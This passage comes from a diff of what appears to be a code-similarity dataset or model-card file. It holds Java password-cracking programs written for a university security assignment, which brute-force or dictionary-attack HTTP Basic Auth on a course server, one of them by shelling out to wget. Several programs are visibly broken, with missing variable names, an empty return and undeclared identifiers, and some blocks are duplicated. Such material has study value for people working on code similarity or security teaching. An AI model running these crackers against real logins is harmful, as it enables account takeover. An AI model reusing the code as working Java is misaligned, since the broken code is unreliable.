\ elements loaded\");\n }\n}\n \n"
|
244 |
+
- "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
|
245 |
+
\ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
|
246 |
+
\ String pass = new String();\n String UserPass = new String();\n String status\
|
247 |
+
\ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
|
248 |
+
\ URLConnection connect;\n int start,end,diff;\n try {\n URL\
|
249 |
+
\ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
|
250 |
+
\ start =System.currentTimeMillis();\n\n BufferedReader dis =\
|
251 |
+
\ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
|
252 |
+
\ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
|
253 |
+
\",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
|
254 |
+
\ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
|
255 |
+
Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
|
256 |
+
Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
|
257 |
+
,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
|
258 |
+
\ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
|
259 |
+
HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
|
260 |
+
\ is \" + pass);\n end=System.currentTimeMillis();\n \
|
261 |
+
\ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
|
262 |
+
\ + \" secs\");\n System.exit(0);\n }\n \
|
263 |
+
\ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
|
264 |
+
\ }\n\n System.out.println(\" match found\");\n\n \
|
265 |
+
\ dis.close();\n dis=null;\n\n connect = null;\n\n\
|
266 |
+
\ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
|
267 |
+
Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
|
268 |
+
Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
|
269 |
+
- source_sentence: "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce\
|
270 |
+
\ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\
|
271 |
+
\ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\
|
272 |
+
\ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \
|
273 |
+
\ boolean morePasswords = true;\n int passPtr = 0;\n StringBuffer\
|
274 |
+
\ validChars = new StringBuffer(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
|
275 |
+
);\n char[] password = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n\
|
276 |
+
\ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
|
277 |
+
;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\
|
278 |
+
\ URL url = new URL(resource);\n HttpURLConnection conn\
|
279 |
+
\ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\
|
280 |
+
HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
|
281 |
+
\ {\n System.out.println(\"cracked with \" + new String(password));\n\
|
282 |
+
\ auth = true;\n }\n } catch (Exception e) {\n\
|
283 |
+
\ System.out.println(\" was exception: \" + e.getMessage());\n \
|
284 |
+
\ }\n int count = passPtr;\n while (true) {\n \
|
285 |
+
\ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \
|
286 |
+
\ password[count] = validChars.charAt(0);\n count--;\n\
|
287 |
+
\ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\
|
288 |
+
\ + 1);\n break;\n }\n if (count < 0) {\n\
|
289 |
+
\ \n if (passPtr < MAX_LENGTH - 1) {\n \
|
290 |
+
\ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\
|
291 |
+
\ } else {\n morePasswords = false;\n \
|
292 |
+
\ }\n break;\n }\n }\n \n }\
|
293 |
+
\ \n if (!auth) {\n System.out.println(\"Unable determine password\"\
|
294 |
+
);\n } else {\n time = (new Date()).getTime() - start.getTime();\n\
|
295 |
+
\ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\
|
296 |
+
\ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\
|
297 |
+
\ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\
|
298 |
+
\ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\
|
299 |
+
\ {\n String user = \"\";\n return new PasswordAuthentication(user,\
|
300 |
+
\ password);\n }\n}\n"
|
301 |
+
sentences:
|
302 |
+
- "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\
|
303 |
+
public class Dictionary\n{\n public static void main(String args[])\n {\n\
|
304 |
+
\ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\
|
305 |
+
\ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\
|
306 |
+
\ String s = null;\n int num_tries = 0;\n \n try\n {\n\
|
307 |
+
\ \n BufferedReader dict_word = new BufferedReader\n \
|
308 |
+
\ (new FileReader (DICT_FILE));\n \n \n \
|
309 |
+
\ while((password = dict_word.readLine())!= null)\n { \n \
|
310 |
+
\ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\
|
311 |
+
wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \
|
312 |
+
\ \n BufferedReader stdInput = new BufferedReader(new \n \
|
313 |
+
\ InputStreamReader(p.getInputStream()));\n\n \
|
314 |
+
\ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
|
315 |
+
\n \n while ((s = stdInput.readLine()) != null)\n\
|
316 |
+
\ {\n System.out.println(s);\n }\n\
|
317 |
+
\ \n \n while ((s = stdError.readLine())\
|
318 |
+
\ != null)\n {\n System.out.println(s);\n \
|
319 |
+
\ }\n\n try\n\t {\n p.waitFor();\
|
320 |
+
\ \n }\n catch (InterruptedException g) \n \
|
321 |
+
\ {\n } \n\n num_tries++;\n \
|
322 |
+
\ \n if((p.exitValue()) == 0) \n { \n \
|
323 |
+
\ System.out.println(\"**********PASSWORD IS: \" + password);\n\
|
324 |
+
\t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
|
325 |
+
\ System.exit(1);\n }\n }\n \
|
326 |
+
\ catch (IOException e)\n {\n System.out.println(\"\
|
327 |
+
exception happened - here's what I know: \");\n e.printStackTrace();\n\
|
328 |
+
\ System.exit(-1);\n }\n }\n \n \
|
329 |
+
\ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \
|
330 |
+
\ System.out.println(\"**********Sorry, password was not found in dictionary\
|
331 |
+
\ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\
|
332 |
+
\ exception)\n {\n System.out.println(exception);\n }\n \
|
333 |
+
\ catch (IOException exception)\n {\n System.out.println(exception);\n\
|
334 |
+
\ }\n }\n}\n \n"
|
335 |
+
- "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\
|
336 |
+
public class Dictionary\n{\n public static void main(String args[])\n {\n\
|
337 |
+
\ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\
|
338 |
+
\ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\
|
339 |
+
\ String s = null;\n int num_tries = 0;\n \n try\n {\n\
|
340 |
+
\ \n BufferedReader dict_word = new BufferedReader\n \
|
341 |
+
\ (new FileReader (DICT_FILE));\n \n \n \
|
342 |
+
\ while((password = dict_word.readLine())!= null)\n { \n \
|
343 |
+
\ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\
|
344 |
+
wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \
|
345 |
+
\ \n BufferedReader stdInput = new BufferedReader(new \n \
|
346 |
+
\ InputStreamReader(p.getInputStream()));\n\n \
|
347 |
+
\ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
|
348 |
+
\n \n while ((s = stdInput.readLine()) != null)\n\
|
349 |
+
\ {\n System.out.println(s);\n }\n\
|
350 |
+
\ \n \n while ((s = stdError.readLine())\
|
351 |
+
\ != null)\n {\n System.out.println(s);\n \
|
352 |
+
\ }\n\n try\n\t {\n p.waitFor();\
|
353 |
+
\ \n }\n catch (InterruptedException g) \n \
|
354 |
+
\ {\n } \n\n num_tries++;\n \
|
355 |
+
\ \n if((p.exitValue()) == 0) \n { \n \
|
356 |
+
\ System.out.println(\"**********PASSWORD IS: \" + password);\n\
|
357 |
+
\t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
|
358 |
+
\ System.exit(1);\n }\n }\n \
|
359 |
+
\ catch (IOException e)\n {\n System.out.println(\"\
|
360 |
+
exception happened - here's what I know: \");\n e.printStackTrace();\n\
|
361 |
+
\ System.exit(-1);\n }\n }\n \n \
|
362 |
+
\ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \
|
363 |
+
\ System.out.println(\"**********Sorry, password was not found in dictionary\
|
364 |
+
\ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\
|
365 |
+
\ exception)\n {\n System.out.println(exception);\n }\n \
|
366 |
+
\ catch (IOException exception)\n {\n System.out.println(exception);\n\
|
367 |
+
\ }\n }\n}\n \n"
|
368 |
+
- "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\
|
369 |
+
\ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
|
370 |
+
\ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
|
371 |
+
\ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
|
372 |
+
\ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\
|
373 |
+
\ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\
|
374 |
+
\ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\
|
375 |
+
\ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\
|
376 |
+
\ }\n public Vector getVictor()\n {\n return ;\n }\n public void\
|
377 |
+
\ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\
|
378 |
+
\ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \
|
379 |
+
\ {\n String s1 = new StringBuffer().append( letters[i]).append(\
|
380 |
+
\ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\
|
381 |
+
\ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\
|
382 |
+
\ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\
|
383 |
+
\ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
|
384 |
+
\ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\
|
385 |
+
\ \n for( i = 0; i < letters.length; i++)\n {\n String\
|
386 |
+
\ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
|
387 |
+
\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \
|
388 |
+
\ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\
|
389 |
+
\ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
|
390 |
+
\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
|
391 |
+
\ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\
|
392 |
+
\ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\
|
393 |
+
\ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\
|
394 |
+
\ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
|
395 |
+
\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
|
396 |
+
\ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\
|
397 |
+
\ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \
|
398 |
+
\ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\
|
399 |
+
\ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\
|
400 |
+
\ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\
|
401 |
+
\ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\
|
402 |
+
\ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\
|
403 |
+
\ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
|
404 |
+
\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
|
405 |
+
\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
|
406 |
+
\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
|
407 |
+
\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \
|
408 |
+
\ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\
|
409 |
+
\ }\n }\n \n public static void main( String[] args)\n {\n\
|
410 |
+
\ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\
|
411 |
+
\ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\
|
412 |
+
\ elements loaded\");\n }\n}\n \n"
|
413 |
+
- source_sentence: "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\n\
|
414 |
+
public class BruteForce\n{\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
|
415 |
+
;\n private static String password;\n private static int length; \
|
416 |
+
\ \n private static int t_counter; \n private static int f_counter;\
|
417 |
+
\ \n \n private static int cases;\
|
418 |
+
\ \n \n private static int respCode;\
|
419 |
+
\ \n\n public BruteForce()\n {\n Authenticator.setDefault(new\
|
420 |
+
\ BruteForceAuthenticator());\n t_counter = 0;\n f_counter = 0;\n \
|
421 |
+
\ cases = 0;\n }\n\n public static void main (String[] args)\n {\n \
|
422 |
+
\ BruteForce bf = new BruteForce();\n String file = \" \";\n while(respCode\
|
423 |
+
\ != 200)\n {\n file = bf.fetchURL();\n }\n System.out.println(\"\
|
424 |
+
Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\
|
425 |
+
\ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\
|
426 |
+
\ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\
|
427 |
+
\ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\
|
428 |
+
\ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \
|
429 |
+
\ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\
|
430 |
+
\ BufferedReader in = \n new BufferedReader (new InputStreamReader\
|
431 |
+
\ (content));\n String line;\n while ((line = in.readLine()) !=\
|
432 |
+
\ null) \n {\n pw.println(line);\n }\n } catch\
|
433 |
+
\ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\
|
434 |
+
\ sw.toString();\n }\n \n class BruteForceAuthenticator extends\
|
435 |
+
\ Authenticator \n {\n private String username = \"\";\n\n protected\
|
436 |
+
\ PasswordAuthentication getPasswordAuthentication()\n {\n return\
|
437 |
+
\ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\
|
438 |
+
\ char[] generatePassword()\n {\n int i,j,k;\n int n = 26;\n\
|
439 |
+
\ String letters1 = \"qwertyuiopasdfghjklzxcvbnm\";\n String letters2\
|
440 |
+
\ = \"abcdefghijklmnopqrstuvwxyz\";\n \n i=0;\n j=0;\n \
|
441 |
+
\ k=0;\n \n \n \n if(t_counter == 0)\n {\n\
|
442 |
+
\ length = 1;\n cases = 0;\n f_counter = 0;\n\
|
443 |
+
\ }\n if(t_counter == 2*n)\n {\n length = 2;\n\
|
444 |
+
\ cases = 0;\n f_counter = 0;\n }\n if(t_counter\
|
445 |
+
\ == (2*n + 4*n*n))\n {\n length = 3;\n cases =\
|
446 |
+
\ 0;\n f_counter = 0;\n }\n\n char c[] = new char[length];\n\
|
447 |
+
\n \n \n if(length == 1)\n {\n if(f_counter\
|
448 |
+
\ == n)\n {\n cases++;\n f_counter = 0;\n\
|
449 |
+
\ }\n i = f_counter;\n\n } else if(length == 2)\
|
450 |
+
\ \n {\n if(f_counter == n*n)\n {\n \
|
451 |
+
\ cases++;\n f_counter = 0;\n }\n i = f_counter/n;\n\
|
452 |
+
\ j = f_counter - i*n;\n\n } else if(length == 3) \n \
|
453 |
+
\ {\n if(f_counter == n*n*n)\n {\n cases++;\n\
|
454 |
+
\ f_counter = 0;\n }\n i = f_counter/(n*n);\n\
|
455 |
+
\ j = (f_counter - i*n*n)/n;\n k = f_counter - i*n*n - j*n;\n\
|
456 |
+
\ }\n\n \n switch(cases)\n {\n case\
|
457 |
+
\ 0:\n c[0] = letters1.charAt(i);\n if(length > 1)\
|
458 |
+
\ c[1] = letters1.charAt(j);\n if(length > 2) c[2] = letters1.charAt(k);\n\
|
459 |
+
\ break;\n case 1:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\
|
460 |
+
\ if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));\n\
|
461 |
+
\ if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));\n\
|
462 |
+
\ break;\n case 2:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\
|
463 |
+
\ c[1] = letters1.charAt(j);\n if(length > 2) c[2]\
|
464 |
+
\ = letters1.charAt(k);\n break;\n case 3:\n \
|
465 |
+
\ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\
|
466 |
+
\ if(length > 2) c[2] = letters1.charAt(k);\n break;\n\
|
467 |
+
\ case 4:\n c[0] = letters1.charAt(i);\n \
|
468 |
+
\ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\
|
469 |
+
\ break;\n case 5:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\
|
470 |
+
\ c[1] = Character.toUpperCase(letters1.charAt(j));\n \
|
471 |
+
\ c[2] = letters1.charAt(k);\n break;\n case 6:\n\
|
472 |
+
\ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\
|
473 |
+
\ c[2] = Character.toUpperCase(letters1.charAt(k));\n \
|
474 |
+
\ break;\n case 7:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\
|
475 |
+
\ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\
|
476 |
+
\ break;\n default:\n break;\n \
|
477 |
+
\ }\n\n f_counter++;\n t_counter++;\n\n password = new\
|
478 |
+
\ String(c);\n return c;\n }\n }\n}\n"
|
479 |
+
sentences:
|
480 |
+
- "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\
|
481 |
+
public class Dictionary\n{\n public static void main(String args[])\n {\n\
|
482 |
+
\ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\
|
483 |
+
\ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\
|
484 |
+
\ String s = null;\n int num_tries = 0;\n \n try\n {\n\
|
485 |
+
\ \n BufferedReader dict_word = new BufferedReader\n \
|
486 |
+
\ (new FileReader (DICT_FILE));\n \n \n \
|
487 |
+
\ while((password = dict_word.readLine())!= null)\n { \n \
|
488 |
+
\ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\
|
489 |
+
wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \
|
490 |
+
\ \n BufferedReader stdInput = new BufferedReader(new \n \
|
491 |
+
\ InputStreamReader(p.getInputStream()));\n\n \
|
492 |
+
\ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
|
493 |
+
\n \n while ((s = stdInput.readLine()) != null)\n\
|
494 |
+
\ {\n System.out.println(s);\n }\n\
|
495 |
+
\ \n \n while ((s = stdError.readLine())\
|
496 |
+
\ != null)\n {\n System.out.println(s);\n \
|
497 |
+
\ }\n\n try\n\t {\n p.waitFor();\
|
498 |
+
\ \n }\n catch (InterruptedException g) \n \
|
499 |
+
\ {\n } \n\n num_tries++;\n \
|
500 |
+
\ \n if((p.exitValue()) == 0) \n { \n \
|
501 |
+
\ System.out.println(\"**********PASSWORD IS: \" + password);\n\
|
502 |
+
\t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
|
503 |
+
\ System.exit(1);\n }\n }\n \
|
504 |
+
\ catch (IOException e)\n {\n System.out.println(\"\
|
505 |
+
exception happened - here's what I know: \");\n e.printStackTrace();\n\
|
506 |
+
\ System.exit(-1);\n }\n }\n \n \
|
507 |
+
\ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \
|
508 |
+
\ System.out.println(\"**********Sorry, password was not found in dictionary\
|
509 |
+
\ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\
|
510 |
+
\ exception)\n {\n System.out.println(exception);\n }\n \
|
511 |
+
\ catch (IOException exception)\n {\n System.out.println(exception);\n\
|
512 |
+
\ }\n }\n}\n \n"
|
513 |
+
- "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
|
514 |
+
\ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
|
515 |
+
\ String pass = new String();\n String UserPass = new String();\n String status\
|
516 |
+
\ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
|
517 |
+
\ URLConnection connect;\n int start,end,diff;\n try {\n URL\
|
518 |
+
\ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
|
519 |
+
\ start =System.currentTimeMillis();\n\n BufferedReader dis =\
|
520 |
+
\ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
|
521 |
+
\ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
|
522 |
+
\",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
|
523 |
+
\ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
|
524 |
+
Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
|
525 |
+
Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
|
526 |
+
,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
|
527 |
+
\ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
|
528 |
+
HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
|
529 |
+
\ is \" + pass);\n end=System.currentTimeMillis();\n \
|
530 |
+
\ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
|
531 |
+
\ + \" secs\");\n System.exit(0);\n }\n \
|
532 |
+
\ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
|
533 |
+
\ }\n\n System.out.println(\" match found\");\n\n \
|
534 |
+
\ dis.close();\n dis=null;\n\n connect = null;\n\n\
|
535 |
+
\ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
|
536 |
+
Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
|
537 |
+
Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
|
538 |
+
- "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
|
539 |
+
\ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
|
540 |
+
\ String pass = new String();\n String UserPass = new String();\n String status\
|
541 |
+
\ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
|
542 |
+
\ URLConnection connect;\n int start,end,diff;\n try {\n URL\
|
543 |
+
\ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
|
544 |
+
\ start =System.currentTimeMillis();\n\n BufferedReader dis =\
|
545 |
+
\ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
|
546 |
+
\ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
|
547 |
+
\",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
|
548 |
+
\ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
|
549 |
+
Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
|
550 |
+
Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
|
551 |
+
,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
|
552 |
+
\ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
|
553 |
+
HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
|
554 |
+
\ is \" + pass);\n end=System.currentTimeMillis();\n \
|
555 |
+
\ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
|
556 |
+
\ + \" secs\");\n System.exit(0);\n }\n \
|
557 |
+
\ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
|
558 |
+
\ }\n\n System.out.println(\" match found\");\n\n \
|
559 |
+
\ dis.close();\n dis=null;\n\n connect = null;\n\n\
|
560 |
+
\ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
|
561 |
+
Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
|
562 |
+
Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
|
563 |
+
- source_sentence: "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\n\
|
564 |
+
import javax.swing.*;\n\npublic class PasswordCombination\n{\n private int\
|
565 |
+
\ pwdCounter = 0;\n private int startTime;\n private String str1,str2,str3;\n\
|
566 |
+
\ private String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n private\
|
567 |
+
\ String loginPwd;\n private String[] password;\n private HoldSharedData\
|
568 |
+
\ data;\n private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',\n\
|
569 |
+
\ 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\
|
570 |
+
\ 'a','b','c','d','e','f','g','h','i','j','k','l','m',\n\
|
571 |
+
\ 'n','o','p','q','r','s','t','u','v','w','x','y','z'};\n\
|
572 |
+
\n public PasswordCombination()\n {\n System.out.println(\"Programmed\
|
573 |
+
\ by for INTE1070 Assignment 2\");\n\n String input = JOptionPane.showInputDialog(\
|
574 |
+
\ \"Enter number of threads\" );\n if( input == null )\n System.exit(0);\n\
|
575 |
+
\n int numOfConnections = Integer.parseInt( input );\n startTime\
|
576 |
+
\ = System.currentTimeMillis();\n int pwdCounter = 52*52*52 + 52*52 +\
|
577 |
+
\ 52;\n password = new String[pwdCounter];\n\n doPwdCombination();\n\
|
578 |
+
\n System.out.println(\"Total Number of Passwords Generated: \" + pwdCounter);\n\
|
579 |
+
\ createConnectionThread( numOfConnections );\n }\n\n private void\
|
580 |
+
\ doPwdCombination()\n {\n for( int i = 0; i < 52; i ++ )\n {\n\
|
581 |
+
\ str1 = \"\" + chars[i];\n password[pwdCounter++] = \"\"\
|
582 |
+
\ + chars[i];\n System.err.print( str1 + \" | \" );\n\n \
|
583 |
+
\ for( int j = 0; j < 52; j ++ )\n {\n str2 = str1 +\
|
584 |
+
\ chars[j];\n password[pwdCounter++] = str1 + chars[j];\n\n \
|
585 |
+
\ for( int k = 0; k < 52; k ++ )\n {\n \
|
586 |
+
\ str3 = str2 + chars[k];\n password[pwdCounter++] =\
|
587 |
+
\ str2 + chars[k];\n }\n }\n }\n\n System.err.println(\
|
588 |
+
\ \"\\n\" );\n }\n\n private void loadPasswords( )\n {\n FileReader\
|
589 |
+
\ fRead;\n BufferedReader buf;\n String line = null;\n\
|
590 |
+
\ String fileName = \"words\";\n\n try\n {\n \
|
591 |
+
\ fRead = new FileReader( fileName );\n buf = new BufferedReader(fRead);\n\
|
592 |
+
\n while((line = buf.readLine( )) != null)\n {\n \
|
593 |
+
\ password[pwdCounter++] = line;\n }\n }\n catch(FileNotFoundException\
|
594 |
+
\ e)\n {\n System.err.println(\"File not found: \" + fileName);\n\
|
595 |
+
\ }\n catch(IOException ioe)\n {\n System.err.println(\"\
|
596 |
+
IO Error \" + ioe);\n }\n }\n\n private void createConnectionThread(\
|
597 |
+
\ int input )\n {\n data = new HoldSharedData( startTime, password,\
|
598 |
+
\ pwdCounter );\n\n int numOfThreads = input;\n int batch = pwdCounter/numOfThreads\
|
599 |
+
\ + 1;\n numOfThreads = pwdCounter/batch + 1;\n System.out.println(\"\
|
600 |
+
Number of Connection Threads Used:\" + numOfThreads);\n ConnectionThread[]\
|
601 |
+
\ connThread = new ConnectionThread[numOfThreads];\n\n for( int index =\
|
602 |
+
\ 0; index < numOfThreads; index ++ )\n {\n connThread[index]\
|
603 |
+
\ = new ConnectionThread( url, index, batch, data );\n connThread[index].conn();\n\
|
604 |
+
\ }\n }\n} "
|
605 |
+
sentences:
|
606 |
+
- "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\
|
607 |
+
